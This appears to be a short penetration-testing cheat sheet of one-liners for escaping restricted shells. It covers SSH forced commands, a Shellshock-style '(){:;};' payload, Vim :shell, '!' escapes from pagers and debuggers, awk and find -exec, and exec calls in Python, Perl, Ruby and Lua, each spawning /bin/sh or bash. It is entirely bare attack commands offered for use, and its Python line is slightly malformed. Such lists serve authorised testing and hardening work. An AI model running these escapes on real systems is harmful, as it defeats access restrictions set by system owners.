Restricted Shell

ssh user@10.0.0.3 -t "/bin/sh"
ssh user@10.0.0.3 -t "bash --noprofile"
ssh user@10.0.0.3 -t "(){:;}; /bin/bash"

# Vim
:set shell=/bin/bash
:shell

# more, less, man, ftp, gdb
'! /bin/sh'
'!/bin/sh'
'!bash'

# AWK
awk 'BEGIN {system("/bin/sh")}'

# Find
find / -name offsec -exec /bin/awk 'BEGIN {system("/bin/sh")}' \;

# Python
exit_code = os.system('/bin/sh') output = os.popen('/bin/sh').read()

# Perl
exec "/bin/sh";

# Ruby
exec "/bin/sh"

# Lua
os.execute('/bin/sh')